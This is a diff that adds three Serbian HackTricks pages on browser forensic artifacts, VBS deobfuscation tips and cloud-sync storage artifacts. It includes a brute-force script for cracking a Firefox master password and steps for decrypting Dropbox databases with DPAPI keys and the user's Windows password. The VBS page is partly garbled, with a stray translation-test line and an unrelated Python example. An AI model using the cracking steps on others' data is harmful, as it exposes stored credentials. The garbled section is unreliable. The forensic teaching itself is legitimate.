* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Artifakti pregledača <a href="#id-3def" id="id-3def"></a>
|
||||||
|
|
||||||
|
Artifakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, poput istorije navigacije, obeleživača i keš podataka. Ovi artifakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka.
|
||||||
|
|
||||||
|
Evo sažetka najčešćih artifakata pregledača:
|
||||||
|
|
||||||
|
* **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
|
||||||
|
* **Automatski podaci**: Predlozi zasnovani na čestim pretragama, pružajući uvide kada se kombinuju sa istorijom navigacije.
|
||||||
|
* **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa.
|
||||||
|
* **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika.
|
||||||
|
* **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu.
|
||||||
|
* **Prijave**: Sačuvane prijavne informacije.
|
||||||
|
* **Favikoni**: Ikone povezane sa sajtovima, prikazuju se u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||||
|
* **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača.
|
||||||
|
* **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača.
|
||||||
|
* **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja.
|
||||||
|
* **Sličice**: Pregledne slike veb sajtova.
|
||||||
|
* **Prilagođeni rečnik.txt**: Reči dodate od strane korisnika u rečnik pregledača.
|
||||||
|
|
||||||
|
## Firefox
|
||||||
|
|
||||||
|
Firefox organizuje korisničke podatke unutar profila, čuvajući ih na specifičnim lokacijama zavisno od operativnog sistema:
|
||||||
|
|
||||||
|
* **Linux**: `~/.mozilla/firefox/`
|
||||||
|
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||||
|
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||||
|
|
||||||
|
Fajl `profiles.ini` unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj prema promenljivoj `Path` unutar `profiles.ini`, smeštenoj u istom direktorijumu kao i sam `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
|
||||||
|
|
||||||
|
Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova:
|
||||||
|
|
||||||
|
* **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima istorije.
|
||||||
|
* Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima.
|
||||||
|
* **bookmarkbackups**: Sadrži rezervne kopije obeleživača.
|
||||||
|
* **formhistory.sqlite**: Čuva podatke o veb obrascima.
|
||||||
|
* **handlers.json**: Upravljači protokolima.
|
||||||
|
* **persdict.dat**: Prilagođene reči rečnika.
|
||||||
|
* **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima.
|
||||||
|
* **cookies.sqlite**: Čuvanje kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za inspekciju na Windows-u.
|
||||||
|
* **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||||
|
* **favicons.sqlite**: Čuva favikone.
|
||||||
|
* **prefs.js**: Korisnička podešavanja i preferencije.
|
||||||
|
* **downloads.sqlite**: Starija baza preuzimanja, sada integrisana u places.sqlite.
|
||||||
|
* **thumbnails**: Slike pregleda veb sajtova.
|
||||||
|
* **logins.json**: Šifrovane prijavne informacije.
|
||||||
|
* **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija.
|
||||||
|
|
||||||
|
Dodatno, provera anti-phishing podešavanja pregledača može se obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene.
|
||||||
|
|
||||||
|
Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||||
|
Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force:
|
||||||
|
|
||||||
|
{% code title="brute.sh" %}
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||||
|
passfile=$1
|
||||||
|
while read pass; do
|
||||||
|
echo "Trying $pass"
|
||||||
|
echo "$pass" | python firefox_decrypt.py
|
||||||
|
done < $passfile
|
||||||
|
```
|
||||||
|
## Google Chrome
|
||||||
|
|
||||||
|
Google Chrome čuva korisničke profile na specifičnim lokacijama zavisno od operativnog sistema:
|
||||||
|
|
||||||
|
- **Linux**: `~/.config/google-chrome/`
|
||||||
|
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||||
|
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||||
|
|
||||||
|
U ovim direktorijumima, većina korisničkih podataka se može pronaći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke:
|
||||||
|
|
||||||
|
- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) se može koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, unete URL-ove, podnesene forme i osvežavanja stranica.
|
||||||
|
- **Cookies**: Čuva kolačiće. Za inspekciju, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
|
||||||
|
- **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) za inspekciju.
|
||||||
|
- **Bookmarks**: Korisnički obeleživači.
|
||||||
|
- **Web Data**: Sadrži istoriju formi.
|
||||||
|
- **Favicons**: Čuva favikone veb sajtova.
|
||||||
|
- **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki.
|
||||||
|
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima.
|
||||||
|
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
|
||||||
|
- **Extensions**: Direktorijumi za proširenja i dodatke pregledača.
|
||||||
|
- **Thumbnails**: Čuva sličice veb sajtova.
|
||||||
|
- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više.
|
||||||
|
- **Ugrađena anti-phishing za pregledač**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
|
||||||
|
|
||||||
|
## **Obnova podataka iz SQLite baze podataka**
|
||||||
|
|
||||||
|
Kao što možete primetiti u prethodnim sekcijama, kako Chrome tako i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose korišćenjem alata** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||||
|
|
||||||
|
## **Internet Explorer 11**
|
||||||
|
|
||||||
|
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja.
|
||||||
|
|
||||||
|
### Čuvanje metapodataka
|
||||||
|
|
||||||
|
Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (sa VX koji može biti V01, V16 ili V24). Pored toga, fajl `V01.log` može pokazati razlike u vremenu modifikacije u odnosu na `WebcacheVX.data`, što ukazuje na potrebu popravke korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu biti obnovljeni i inspektovani korišćenjem alata poput photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), redom. Unutar tabele **Containers**, može se razlikovati specifične tabele ili kontejneri gde je smešten svaki segment podataka, uključujući detalje keša za druge Microsoft alate poput Skype-a.
|
||||||
|
|
||||||
|
### Inspekcija keša
|
||||||
|
|
||||||
|
Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju fascikle za ekstrakciju keš podataka. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, poreklo URL-a i vremenske oznake koje pokazuju vreme kreiranja, pristupa, modifikacije i isteka keša.
|
||||||
|
|
||||||
|
### Upravljanje kolačićima
|
||||||
|
|
||||||
|
Kolačiće možete istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
|
||||||
|
|
||||||
|
### Detalji preuzimanja
|
||||||
|
|
||||||
|
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), pri čemu specifični kontejneri čuvaju podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||||
|
|
||||||
|
### Istorija pregledanja
|
||||||
|
|
||||||
|
Za pregled istorije pregledanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju izdvojenih fajlova istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vreme modifikacije i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||||
|
|
||||||
|
### Uneti URL-ovi
|
||||||
|
|
||||||
|
Uneti URL-ovi i vremena njihovog korišćenja se čuvaju u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa.
|
||||||
|
|
||||||
|
## Microsoft Edge
|
||||||
|
|
||||||
|
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
|
||||||
|
|
||||||
|
- **Putanja profila**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||||
|
- **Istorija, Kolačići i Preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||||
|
- **Podešavanja, Obeleživači i Lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||||
|
- **Keš**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||||
|
- **Poslednje aktivne sesije**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||||
|
|
||||||
|
## Safari
|
||||||
|
|
||||||
|
Podaci Safari pregledača se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju:
|
||||||
|
|
||||||
|
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite.
|
||||||
|
- **Downloads.plist**: Informacije o preuzetim fajlovima.
|
||||||
|
- **Bookmarks.plist**: Čuva URL-ove obeleženih stranica.
|
||||||
|
- **TopSites.plist**: Najposećeniji sajtovi.
|
||||||
|
- **Extensions.plist**: Lista proširenja Safari pregledača. Koristite `plutil` ili `pluginkit` za dobijanje.
|
||||||
|
- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za parsiranje.
|
||||||
|
- **LastSession.plist**: Tabovi iz poslednje sesije. Koristite `plutil` za parsiranje.
|
||||||
|
- **Ugrađena anti-phishing za pregledač**: Proverite korišćenjem `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 ukazuje na aktivnu funkciju.
|
||||||
|
|
||||||
|
## Opera
|
||||||
|
|
||||||
|
Podaci Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format za istoriju i preuzimanja sa Chrome-om.
|
||||||
|
|
||||||
|
- **Ugrađena anti-phishing za pregledač**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`.
|
||||||
|
|
||||||
|
Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju čuvanih od strane različitih veb pregledača.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||||
|
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||||
|
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,80 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Neki korisni saveti za debagovanje/deobfuskaciju zlonamernog VBS fajla:
|
||||||
|
|
||||||
|
## echo
|
||||||
|
```bash
|
||||||
|
Wscript.Echo "Like this?"
|
||||||
|
```
|
||||||
|
## Komentari
|
||||||
|
```bash
|
||||||
|
' this is a comment
|
||||||
|
```
|
||||||
|
## Test
|
||||||
|
|
||||||
|
Ovo je testni dokument za proveru prevoda.
|
||||||
|
```bash
|
||||||
|
cscript.exe file.vbs
|
||||||
|
```
|
||||||
|
## Upisivanje podataka u datoteku
|
||||||
|
|
||||||
|
Da biste upisali podatke u datoteku, možete koristiti funkciju `Write` u Pythonu. Evo osnovnog primjera:
|
||||||
|
|
||||||
|
```python
|
||||||
|
with open('datoteka.txt', 'w') as f:
|
||||||
|
f.write('Ovo je primjer teksta koji će biti upisan u datoteku.')
|
||||||
|
```
|
||||||
|
|
||||||
|
U ovom primjeru, `datoteka.txt` je naziv datoteke u koju želite upisati podatke. Koristimo `with` izjavu kako bismo se pobrinuli da se datoteka pravilno zatvori nakon upisa. Funkcija `write` se koristi za upisivanje teksta u datoteku.
|
||||||
|
|
||||||
|
Nakon izvršavanja ovog koda, datoteka `datoteka.txt` će biti stvorena (ako već ne postoji) i sadržavat će tekst "Ovo je primjer teksta koji će biti upisan u datoteku."
|
||||||
|
```js
|
||||||
|
Function writeBinary(strBinary, strPath)
|
||||||
|
|
||||||
|
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
' below lines purpose: checks that write access is possible!
|
||||||
|
Dim oTxtStream
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||||
|
|
||||||
|
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||||
|
On Error GoTo 0
|
||||||
|
|
||||||
|
Set oTxtStream = Nothing
|
||||||
|
' end check of write access
|
||||||
|
|
||||||
|
With oFSO.createTextFile(strPath)
|
||||||
|
.Write(strBinary)
|
||||||
|
.Close
|
||||||
|
End With
|
||||||
|
|
||||||
|
End Function
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,136 @@
|
||||||
|
# Lokalno skladištenje u oblaku
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Dobijte pristup danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## OneDrive
|
||||||
|
|
||||||
|
U Windows-u, možete pronaći OneDrive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima:
|
||||||
|
|
||||||
|
* Veličina u bajtovima
|
||||||
|
* Datum kreiranja
|
||||||
|
* Datum modifikacije
|
||||||
|
* Broj fajlova u oblaku
|
||||||
|
* Broj fajlova u fascikli
|
||||||
|
* **CID**: Jedinstveni ID OneDrive korisnika
|
||||||
|
* Vreme generisanja izveštaja
|
||||||
|
* Veličina HD-a OS-a
|
||||||
|
|
||||||
|
Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj ID**. Možda ćete moći pronaći fajlove sa imenima: _**\<CID>.ini**_ i _**\<CID>.dat**_ koji mogu sadržati zanimljive informacije poput imena fajlova sinhronizovanih sa OneDrive-om.
|
||||||
|
|
||||||
|
## Google Drive
|
||||||
|
|
||||||
|
U Windows-u, možete pronaći glavnu Google Drive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\
|
||||||
|
Ova fascikla sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima.
|
||||||
|
|
||||||
|
Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova.
|
||||||
|
|
||||||
|
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih fascikli i verziju Google Drive-a.
|
||||||
|
|
||||||
|
## Dropbox
|
||||||
|
|
||||||
|
Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\
|
||||||
|
Možete pronaći baze podataka u fasciklama:
|
||||||
|
|
||||||
|
* `\Users\<korisničko_ime>\AppData\Local\Dropbox`
|
||||||
|
* `\Users\<korisničko_ime>\AppData\Local\Dropbox\Instance1`
|
||||||
|
* `\Users\<korisničko_ime>\AppData\Roaming\Dropbox`
|
||||||
|
|
||||||
|
Glavne baze podataka su:
|
||||||
|
|
||||||
|
* Sigstore.dbx
|
||||||
|
* Filecache.dbx
|
||||||
|
* Deleted.dbx
|
||||||
|
* Config.dbx
|
||||||
|
|
||||||
|
Ekstenzija ".dbx" znači da su **baze podataka enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||||
|
|
||||||
|
Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||||
|
|
||||||
|
Međutim, glavne informacije su:
|
||||||
|
|
||||||
|
* **Entropija**: d114a55212655f74bd772e37e64aee9b
|
||||||
|
* **So**: 0D638C092E8B82FC452883F95F355B8E
|
||||||
|
* **Algoritam**: PBKDF2
|
||||||
|
* **Iteracije**: 1066
|
||||||
|
|
||||||
|
Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno:
|
||||||
|
|
||||||
|
* **Enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
|
||||||
|
* **`SYSTEM`** i **`SECURITY`** košnice
|
||||||
|
* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<korisničko_ime>\AppData\Roaming\Microsoft\Protect`
|
||||||
|
* **korisničko ime** i **šifra** Windows korisnika
|
||||||
|
|
||||||
|
Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (448).png>)
|
||||||
|
|
||||||
|
Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog**. Da biste oporavili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta.
|
||||||
|
|
||||||
|
Rezultujući heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dešifrovati sa:
|
||||||
|
```bash
|
||||||
|
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||||
|
```
|
||||||
|
Baza podataka **`config.dbx`** sadrži:
|
||||||
|
|
||||||
|
- **Email**: Email korisnika
|
||||||
|
- **usernamedisplayname**: Ime korisnika
|
||||||
|
- **dropbox\_path**: Putanja gde se nalazi Dropbox folder
|
||||||
|
- **Host\_id: Hash** korišćen za autentifikaciju na oblaku. Ovo se može opozvati samo preko veba.
|
||||||
|
- **Root\_ns**: Identifikator korisnika
|
||||||
|
|
||||||
|
Baza podataka **`filecache.db`** sadrži informacije o svim fajlovima i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa najkorisnijim informacijama:
|
||||||
|
|
||||||
|
